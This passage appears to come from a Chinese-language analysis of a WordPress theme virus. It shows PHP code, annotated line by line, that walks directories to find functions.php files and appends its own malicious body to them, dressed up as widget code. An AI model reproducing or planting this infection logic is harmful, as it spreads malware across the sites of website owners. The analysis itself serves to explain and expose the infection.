&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><a href="http://www.php.net/stripos"><span style="color: #990000;">stripos</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$cont</span><span style="color: #339933;">,</span><span style="color: #000088;">$ftion</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">===</span> <span style="color: #009900; font-weight: bold;">false</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #666666; font-style: italic;">//查看目标functions.php文件最后是否是以 ?&gt; 结尾，如果不是，给加上 ?&gt; 标记</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$comaar</span><span style="color: #339933;">=</span><a href="http://www.php.net/stripos"><span style="color: #990000;">stripos</span></a><span style="color: #009900;">&#40;</span> <a href="http://www.php.net/substr"><span style="color: #990000;">substr</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$cont</span><span style="color: #339933;">,-</span><span style="color: #cc66cc;">20</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span><span style="color: #0000ff;">&quot;?&quot;</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;&gt;&quot;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">!==</span> <span style="color: #009900; font-weight: bold;">false</span> ? <span style="color: #0000ff;">&quot;&quot;</span> <span style="color: #339933;">:</span> <span style="color: #0000ff;">&quot;?&quot;</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;&gt;&quot;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #666666; font-style: italic;">//这里的代码是忽悠人了，模仿WP widgets的代码，蛊惑你的眼睛，让你觉得这是widget代码。。。</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$output</span> <span style="color: #339933;">.=</span> <span style="color: #000088;">$before</span> <span style="color: #339933;">.</span> <span style="color: #0000ff;">&quot;Not found&quot;</span> <span style="color: #339933;">.</span> <span style="color: #000088;">$after</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #666666; font-style: italic;">//如果文件是以 ?&gt; 标记结尾的，连标记一起取过来</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><a href="http://www.php.net/stripos"><span style="color: #990000;">stripos</span></a><span style="color: #009900;">&#40;</span> <a href="http://www.php.net/substr"><span style="color: #990000;">substr</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$cont</span><span style="color: #339933;">,-</span><span style="color: #cc66cc;">20</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span><span style="color: #0000ff;">&quot;?&quot;</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;&gt;&quot;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">!==</span> <span style="color: #009900; font-weight: bold;">false</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span><span style="color: #000088;">$cont</span><span style="color: #339933;">=</span><a href="http://www.php.net/substr"><span style="color: #990000;">substr</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$cont</span><span style="color: #339933;">,</span><span style="color: #cc66cc;">0</span><span style="color: #339933;">,</span><a href="http://www.php.net/strripos"><span style="color: #990000;">strripos</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$cont</span><span style="color: #339933;">,</span><span style="color: #0000ff;">&quot;?&quot;</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;&gt;&quot;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">+</span> <span style="color: #cc66cc;">2</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><span style="color: #009900;">&#125;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #666666; font-style: italic;">//开始感染,$widget内容即是恶意代码自身,在functions.php文件原内容后附加恶意代码</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$output</span><span style="color: #339933;">=</span><a href="http://www.php.net/rtrim"><span style="color: #990000;">rtrim</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$output</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">&quot;<span style="color: #000099; font-weight: bold;">\n</span><span style="color: #000099; font-weight: bold;">\t</span>&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <a href="http://www.php.net/fputs"><span style="color: #990000;">fputs</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$f</span><span style="color: #339933;">=</span><a href="http://www.php.net/fopen"><span style="color: #990000;">fopen</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$item</span><span style="color: #339933;">,</span><span style="color: #0000ff;">&quot;w+&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span><span style="color: #000088;">$cont</span> <span style="color: #339933;">.</span> <span style="color: #000088;">$comaar</span> <span style="color: #339933;">.</span> <span style="color: #0000ff;">&quot;<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span> <span style="color: #339933;">.</span><span style="color: #000088;">$widget</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><a href="http://www.php.net/fclose"><span style="color: #990000;">fclose</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$f</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #666666; font-style: italic;">//后面这句也是伪装用的&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; </span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$output</span> <span style="color: #339933;">.=</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$isshowdots</span> <span style="color: #339933;">&amp;&amp;</span> <span style="color: #000088;">$ellipsis</span><span style="color: #009900;">&#41;</span> ? <span style="color: #0000ff;">&quot;...&quot;</span> <span style="color: #339933;">:</span> <span style="color: #0000ff;">&quot;&quot;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #009900;">&#125;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #009900;">&#125;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #009900;">&#125;</span><br />
&nbsp; &nbsp; <span style="color: #009900;">&#125;</span><br />
&nbsp; &nbsp; <span style="color: #b1b100;">return</span> <span style="color: #000088;">$output</span><span style="color: #339933;">;</span><br />
<span style="color: #009900;">&#125;</span><br />
<span style="color: #000000; font-weight: bold;">function</span> _get_allwidgets_cont<span style="color: #009900;">&#40;</span><span style="color: #000088;">$wids</span><span style="color: #339933;">,</span><span style="color: #000088;">$items</span><span style="color: #339933;">=</span><a href="http://www.php.net/array"><span style="color: #990000;">array</span></a><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; <span style="color: #666666; font-style: italic;">//从$wids数组弹出一个元素(实际上是一个位置)</span><br />
&nbsp; &nbsp; <span style="color: #000088;">$places</span><span style="color: #339933;">=</span><a href="http://www.php.net/array_shift"><span style="color: #990000;">array_shift</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$wids</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #666666; font-style: italic;">//如果位置字串是以/结尾的，则去掉/</span><br />
&nbsp; &nbsp; <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><a href="http://www.php.net/substr"><span style="color: #990000;">substr</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$places</span><span style="color: #339933;">,-</span><span style="color: #cc66cc;">1</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">==</span> <span style="color: #0000ff;">&quot;/&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$places</span><span style="color: #339933;">=</span><a href="http://www.php.net/substr"><span style="color: #990000;">substr</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$places</span><span style="color: #339933;">,</span><span style="color: #cc66cc;">0</span><span style="color: #339933;">,-</span><span style="color: #cc66cc;">1</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #009900;">&#125;</span><br />
&nbsp; &nbsp; <br />
&nbsp; &nbsp; <span style="color: #666666; font-style: italic;">//若不存在这样的文件或目录则直接返回false</span><br />
&nbsp; &nbsp; <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span><a href="http://www.php.net/file_exists"><span style="color: #990000;">file_exists</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$places</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">||</span> <span style="color: #339933;">!</span><a href="http://www.php.net/is_dir"><span style="color: #990000;">is_dir</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$places</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">return</span> <span style="color: #009900; font-weight: bold;">false</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #009900;">&#125;</span><span style="color: #b1b100;">elseif</span><span style="color: #009900;">&#40;</span><a href="http://www.php.net/is_readable"><span style="color: #990000;">is_readable</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$places</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #666666; font-style: italic;">//否则的话。。。嘿嘿</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #666666; font-style: italic;">//遍历此目录</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$elems</span><span style="color: #339933;">=</span><a href="http://www.php.net/scandir"><span style="color: #990000;">scandir</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$places</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">foreach</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$elems</span> <span style="color: #b1b100;">as</span> <span style="color: #000088;">$elem</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$elem</span> <span style="color: #339933;">!=</span> <span style="color: #0000ff;">&quot;.&quot;</span> <span style="color: #339933;">&amp;&amp;</span> <span style="color: #000088;">$elem</span> <span style="color: #339933;">!=</span> <span style="color: #0000ff;">&quot;..&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #666666; font-style: italic;">//如果是目录,则加入$wids数组</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><a href="http://www.php.net/is_dir"><span style="color: #990000;">is_dir</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$places</span> <span style="color: #339933;">.</span> <span style="color: #0000ff;">&quot;/&quot;</span> <span style="color: #339933;">.</span> <span style="color: #000088;">$elem</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$wids</span><span style="color: #009900;">&#91;</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">=</span><span style="color: #000088;">$places</span> <span style="color: #339933;">.</span> <span style="color: #0000ff;">&quot;/&quot;</span> <span style="color: #339933;">.</span> <span style="color: #000088;">$elem</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #009900;">&#125;</span> <span style="color: #b1b100;">elseif</span> <span style="color: #009900;">&#40;</span><a href="http://www.php.net/is_file"><span style="color: #990000;">is_file</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$places</span> <span style="color: #339933;">.</span> <span style="color: #0000ff;">&quot;/&quot;</span> <span style="color: #339933;">.</span> <span style="color: #000088;">$elem</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">&amp;&amp;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$elem</span> <span style="color: #339933;">==</span> <a href="http://www.php.net/substr"><span style="color: #990000;">substr</span></a><span style="color: #009900;">&#40;</span><span style="color: #009900; font-weight: bold;">__FILE__</span><span style="color: #339933;">,-</span><span style="color: #cc66cc;">13</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #666666; font-style: italic;">//否则，如果是文件，并且文件名等于 functions.php的话，则加入到$items数组保存,这才是它的目的functions.php正是它要找的</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$items</span><span style="color: #009900;">&#91;</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">=</span><span style="color: #000088;">$places</span> <span style="color: #339933;">.</span> <span style="color: #0000ff;">&quot;/&quot;</span> <span style="color: #339933;">.</span> <span style="color: #000088;">$elem</span><span style="color: #339933;">;</span><span style="color: #009900;">&#125;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #009900;">&#125;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #009900;">&#125;</span><br />
&nbsp; &nbsp; <span style="color: #009900;">&#125;</span><span style="color: #b1b100;">else</span><span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">return</span> <span style="color: #009900; font-weight: bold;">false</span><span style="color: #339933;">;</span> &nbsp; <br />
&nbsp; &nbsp; <span style="color: #009900;">&#125;</span><br />
&nbsp; &nbsp; <span style="color: #666666; font-style: italic;">//下面还有子目录？再找找看,递归</span><br />
&nbsp; &nbsp; <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><a href="http://www.php.net/sizeof"><span style="color: #990000;">sizeof</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$wids</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">&gt;</span> <span style="color: #cc66cc;">0</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">return</span> _get_allwidgets_cont<span style="color: #009900;">&#40;</span><span style="color: #000088;">$wids</span><span style="color: #339933;">,</span><span style="color: #000088;">$items</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #009900;">&#125;</span> <span style="color: #b1b100;">else</span> <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #666666; font-style: italic;">//好了，完事了，以数组返回所有找到的functions.php文件的绝对路径</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">return</span> <span style="color: #000088;">$items</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #009900;">&#125;</span><br />
<span style="color: #009900;">&#125;</span><br />
<br />
<span style="color: #666666; font-style: italic;">//下面是3个针对低版本的php而写的兼容函数</span><br />
<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span><a href="http://www.php.net/function_exists"><span style="color: #990000;">function_exists</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;stripos&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span> <br />
&nbsp; &nbsp; <span style="color: #000000; font-weight: bold;">function</span> <a href="http://www.php.net/stripos"><span style="color: #990000;">stripos</span></a><span style="color: #009900;">&#40;</span> &nbsp;<span style="color: #000088;">$str</span><span style="color: #339933;">,</span> <span style="color: #000088;">$needle</span><span style="color: #339933;">,</span> <span style="color: #000088;">$offset</span> <span style="color: #339933;">=</span> <span style="color: #cc66cc;">0</span> &nbsp;<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">return</span> <a href="http://www.php.net/strpos"><span style="color: #990000;">strpos</span></a><span style="color: #009900;">&#40;</span> &nbsp;<a href="http://www.php.net/strtolower"><span style="color: #990000;">strtolower</span></a><span style="color: #009900;">&#40;</span> <span style="color: #000088;">$str</span> <span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span> <a href="http://www.php.net/strtolower"><span style="color: #990000;">strtolower</span></a><span style="color: #009900;">&#40;</span> <span style="color: #000088;">$needle</span> <span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span> <span style="color: #000088;">$offset</span> &nbsp;<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <br />
&nbsp; &nbsp; <span style="color: #009900;">&#125;</span><br />
<span style="color: #009900;">&#125;</span><br />
<br />
<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span><a href="http://www.php.net/function_exists"><span style="color: #990000;">function_exists</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;strripos&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span> <br />
&nbsp; &nbsp; <span style="color: #000000; font-weight: bold;">function</span> <a href="http://www.php.net/strripos"><span style="color: #990000;">strripos</span></a><span style="color: #009900;">&#40;</span> &nbsp;<span style="color: #000088;">$haystack</span><span style="color: #339933;">,</span> <span style="color: #000088;">$needle</span><span style="color: #339933;">,</span> <span style="color: #000088;">$offset</span> <span style="color: #339933;">=</span> <span style="color: #cc66cc;">0</span> &nbsp;<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span> &nbsp;<span style="color: #339933;">!</span><a href="http://www.php.net/is_string"><span style="color: #990000;">is_string</span></a><span style="color: #009900;">&#40;</span> <span style="color: #000088;">$needle</span> <span style="color: #009900;">&#41;</span> &nbsp;<span style="color: #009900;">&#41;</span><span style="color: #000088;">$needle</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/chr"><span style="color: #990000;">chr</span></a><span style="color: #009900;">&#40;</span> &nbsp;<a href="http://www.php.net/intval"><span style="color: #990000;">intval</span></a><span style="color: #009900;">&#40;</span> <span style="color: #000088;">$needle</span> <span style="color: #009900;">&#41;</span> &nbsp;<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span> &nbsp;<span style="color: #000088;">$offset</span> <span style="color: #339933;">&lt;</span> <span style="color: #cc66cc;">0</span> &nbsp;<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$temp_cut</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/strrev"><span style="color: #990000;">strrev</span></a><span style="color: #009900;">&#40;</span> &nbsp;<a href="http://www.php.net/substr"><span style="color: #990000;">substr</span></a><span style="color: #009900;">&#40;</span> <span style="color: #000088;">$haystack</span><span style="color: #339933;">,</span> <span style="color: #cc66cc;">0</span><span style="color: #339933;">,</span> <a href="http://www.php.net/abs"><span style="color: #990000;">abs</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$offset</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#41;</span> &nbsp;<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #009900;">&#125;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">else</span><span style="color: #009900;">&#123;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$temp_cut</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/strrev"><span style="color: #990000;">strrev</span></a><span style="color: #009900;">&#40;</span> &nbsp; &nbsp;<a href="http://www.php.net/substr"><span style="color: #990000;">substr</span></a><span style="color: #009900;">&#40;</span> &nbsp; <span style="color: #000088;">$haystack</span><span style="color: #339933;">,</span> <span style="color: #cc66cc;">0</span><span style="color: #339933;">,</span> <a href="http://www.php.net/max"><span style="color: #990000;">max</span></a><span style="color: #009900;">&#40;</span> &nbsp;<span style="color: #009900;">&#40;</span> <a href="http://www.php.net/strlen"><span style="color: #990000;">strlen</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$haystack</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">-</span> <span style="color: #000088;">$offset</span> <span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span> <span style="color: #cc66cc;">0</span> &nbsp;<span style="color: #009900;">&#41;</span> &nbsp; <span style="color: #009900;">&#41;</span> &nbsp; &nbsp;<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #009900;">&#125;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span> &nbsp; <span style="color: #009900;">&#40;</span> &nbsp;<span style="color: #000088;">$found</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/stripos"><span style="color: #990000;">stripos</span></a><span style="color: #009900;">&#40;</span> <span style="color: #000088;">$temp_cut</span><span style="color: #339933;">,</span> <a href="http://www.php.net/strrev"><span style="color: #990000;">strrev</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$needle</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#41;</span> &nbsp;<span style="color: #009900;">&#41;</span> <span style="color: #339933;">===</span> <span style="color: #009900; font-weight: bold;">FALSE</span> &nbsp; <span style="color: #009900;">&#41;</span><span style="color: #b1b100;">return</span> <span style="color: #009900; font-weight: bold;">FALSE</span><span style="color: #339933;">;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$pos</span> <span style="color: #339933;">=</span> <span style="color: #009900;">&#40;</span> &nbsp; <a href="http://www.php.net/strlen"><span style="color: #990000;">strlen</span></a><span style="color: #009900;">&#40;</span> &nbsp;<span style="color: #000088;">$haystack</span> &nbsp;<span style="color: #009900;">&#41;</span> <span style="color: #339933;">-</span> <span style="color: #009900;">&#40;</span> &nbsp;<span style="color: #000088;">$found</span> <span style="color: #339933;">+</span> <span style="color: #000088;">$offset</span> <span style="color: #339933;">+</span> <a href="http://www.php.net/strlen"><span style="color: #990000;">strlen</span></a><span style="color: #009900;">&#40;</span> <span style="color: #000088;">$needle</span> <span style="color: #009900;">&#41;</span> &nbsp;<span style="color: #009900;">&#41;</span> &nbsp; <span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">return</span> <span style="color: #000088;">$pos</span><span style="color: #339933;">;</span> <br />
&nbsp; &nbsp; <span style="color: #009900;">&#125;</span><br />
<span style="color: #009900;">&#125;</span><br />
<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span><a href="http://www.php.net/function_exists"><span style="color: #990000;">function_exists</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;scandir&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span> <br />
&nbsp; &nbsp; <span style="color: #000000; font-weight: bold;">function</span> <a href="http://www.php.net/scandir"><span style="color: #990000;">scandir</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$dir</span><span style="color: #339933;">,</span><span style="color: #000088;">$listDirectories</span><span style="color: #339933;">=</span><span style="color: #009900; font-weight: bold;">false</span><span style="color: #339933;">,</span> <span style="color: #000088;">$skipDots</span><span style="color: #339933;">=</span><span style="color: #009900; font-weight: bold;">true</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$dirArray</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/array"><span style="color: #990000;">array</span></a><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$handle</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/opendir"><span style="color: #990000;">opendir</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$dir</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">while</span> <span style="color: #009900;">&#40;</span><span style="color: #009900; font-weight: bold;">false</span> <span style="color: #339933;">!==</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$file</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/readdir"><span style="color: #990000;">readdir</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$handle</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$file</span> <span style="color: #339933;">!=</span> <span style="color: #0000ff;">&quot;.&quot;</span> <span style="color: #339933;">&amp;&amp;</span> <span style="color: #000088;">$file</span> <span style="color: #339933;">!=</span> <span style="color: #0000ff;">&quot;..&quot;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">||</span> <span style="color: #000088;">$skipDots</span> <span style="color: #339933;">==</span> <span style="color: #009900; font-weight: bold;">true</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$listDirectories</span> <span style="color: #339933;">==</span> <span style="color: #009900; font-weight: bold;">false</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span> <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><a href="http://www.php.net/is_dir"><span style="color: #990000;">is_dir</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$file</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span> <span style="color: #b1b100;">continue</span><span style="color: #339933;">;</span> <span style="color: #009900;">&#125;</span> <span style="color: #009900;">&#125;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/array_push"><span style="color: #990000;">array_push</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$dirArray</span><span style="color: #339933;">,</span><a href="http://www.php.net/basename"><span style="color: #990000;">basename</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$file</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #009900;">&#125;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #009900;">&#125;</span><br />
